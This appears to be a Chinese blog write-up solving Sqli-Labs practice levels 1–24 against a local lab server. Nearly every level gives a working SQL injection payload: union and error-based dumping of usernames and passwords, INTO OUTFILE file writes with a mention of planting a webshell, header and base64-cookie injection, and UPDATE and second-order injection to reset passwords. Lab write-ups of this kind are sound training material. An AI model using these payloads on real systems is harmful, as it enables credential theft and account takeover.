Sqli-Labs 速通

Sqli-Labs 速通

一天一道吧。。。。


# 目标 直接写payload,sql语句非预期执行就算成功

表:emails,referers,uagents,users
usrs字段:id,password,username

简单大思路,有回显优先联合查询(可能需要绕过),无回显优先报错注入(可能需要绕过),其次http体找注入点,最后盲注
如有其他提示根据提示找

一般sql注入思路:注入点 -> sql语句绕过过滤 -> 联合查询、盲注等

Less-1

’绕过
http://192.168.1.28/sqli/Less-1/?id=-1' union select 1,2,group_concat(password,'~',username) from users--+

Less-2

http://192.168.1.28/sqli/Less-2/?id=-1/**/union/**/select/**/1,2,group_concat(password,'~',username) from users#

Less-3

‘)绕过
http://192.168.1.28/sqli/Less-3/?id=-1') union select 1,2,group_concat(password,'~',username) from users--+

Less-4

”)绕过
http://192.168.1.28/sqli/Less-4/?id=-1") union select 1,2,group_concat(password,'~',username) from users--+

Less-5

无回显所以’绕过报错注入
http://192.168.1.28/sqli/Less-5/?id=1' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+

Less-6

“绕过,同上
http://192.168.1.28/sqli/Less-6/?id=1" || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+

Less-7

先看my.ini的secure_file_priv=有没有置空,如果没有可能无法导出或者只能在特定路径导出文件
路径可以自己改,这里用得最多的还是写一个一句话木马到某个路径,然后getshell
这里是默认文件导出在mysql的数据文件夹里
http://192.168.1.28/sqli/Less-7/?id=-1' )) union select id,username,password from users into outfile 'users.txt'--+

请添加图片描述

Less-8

思路和上一道相同
http://192.168.1.28/sqli/Less-8/?id=-1' union select id,username,password from users into outfile '8.txt'--+

Less-9

主要没有回显无法判断,所以只能盲打
http://192.168.1.28/sqli/Less-9/?id=-1' union select id,username,password from users into outfile '9.txt'--+

Less-10

看不懂…
http://192.168.1.28/sqli/Less-10/?id=1" union select id,username,password from users into outfile '10.txt'--+

Less-11

抓个包,POST传输,思路:弱口令、爆破或者注入,可以发现弱口令admin和admin就能正常登录
这里不用hackbar了,有点bug,改用header Live Sub插件
uname=admi' union select 1,group_concat(password,'~',username) from users--+&passwd=admin&submit=Submit

Less-12

同11题个道理,绕过就行
uname=admi") union select 1,group_concat(password,'~',username) from users--+&passwd=admin&submit=Submit

Less-13

没有正常登录时的回显,那就报错注入
uname=admin') || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+&passwd=admin&submit=Submit

Less-14

uname=admin" || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+&passwd=admin&submit=Submit

Less-15

要注意字段的数量不然会失败
uname=admin'union select username,password from users into outfile '15.txt'--+&passwd=admin&submit=Submit

时间盲注
请添加图片描述

Less-16

uname=admin") union select username,password from users into outfile '16.txt'--+&passwd=admin&submit=Submit

时间盲注

Less-17-update注入

像这种重置密码的,肯定跟UPDATE语句相关,这个地方其实挺危险的,无论是哪个参数能注入,都能把users表里密码全改了
比如这里把id为1的Dumb密码改成admin
请添加图片描述
uname=admin&passwd=admin' where id = 1--+&submit=Submit
请添加图片描述
好无聊啊~~

Less-18-ua头注入

看提示应该是http头注入
User-Agent: ' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users)))) or '
返回:XPATH syntax error: ‘adminDumb,I-kill-you~Angelina,’
想起迪总一句话,“对于渗透,我什么都不知道,我只会吃西瓜~”

Less-19-Referer注入

Referer: ' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users)))) or '
请添加图片描述

Less-20-cookie注入

登录时抓包,改Cookie
Cookie: uname=admi' union select 1,2,group_concat(password,'~',username) from users--+
请添加图片描述

Less-21-')绕过

一直黑盒测试好头疼,也不喜欢用工具扫这些,所以还是白盒审计吧,刚好练练代码审计
用户名和密码都被check,多半是寄了
请添加图片描述
但cookie没有,无非多个括号绕过,在cookie上增加了base64编码,所以把注入语句都编码后再输入
请添加图片描述
任意登录,然后抓包,一直放包直到出现有uname的cookie的数据包
请添加图片描述
payload:

# 源语句:
admi') union select 1,group_concat(username),group_concat(password) from users#

# base64编码后:
YWRtaScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

请添加图片描述

Less-22-cookie双引号绕过

账号和密码都被check了
只能对cookie下手,分析源码,无非是对传入的cookie增加一对双引号,
请添加图片描述
所以末尾增加一个双引号绕开就ok,还要就是别忘了传入格式必须是base64编码
admi" union select 1,group_concat(username),group_concat(password) from users#
YWRtaSIgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj
请添加图片描述

Less-23-注释符绕过

简单代码分析,把传入的id值进行–和#替换成空
请添加图片描述

测试正常执行payload
?id=1' '
爆库payload
?id=-1' union select 1,2,database() '
爆表payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '1
爆列名payload
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '1
爆值payload
?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1

Less-24-二次注入

懒了,直接拿seay审计看重点
请添加图片描述
mysql_real_escape_string()会转义字符,但不转义%、*、_等字符
login_create.php所有传入参数都会经过mysql_real_escape_string()转义,考虑二次注入的可能,所以对pass_change.php下手
请添加图片描述
可以发现并没有对传入的username参数值进行转义,可以利用,所以思路就是可以对任何存在用户无视旧密码认证来任意修改密码,这里选择修改用户Dumb的密码为aaa
先注册一个Dumb’ #的用户,修改密码,

请添加图片描述
请添加图片描述
语句执行前用户名没有被转义,

# 就会构造出
UPDATE users SET PASSWORD='$pass' where username='Dumb' #' and password='$curr_pass'
# 即执行
UPDATE users SET PASSWORD='$pass' where username='Dumb'

达到无旧密码验证而修改Dumb密码的目的
请添加图片描述


待续....
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值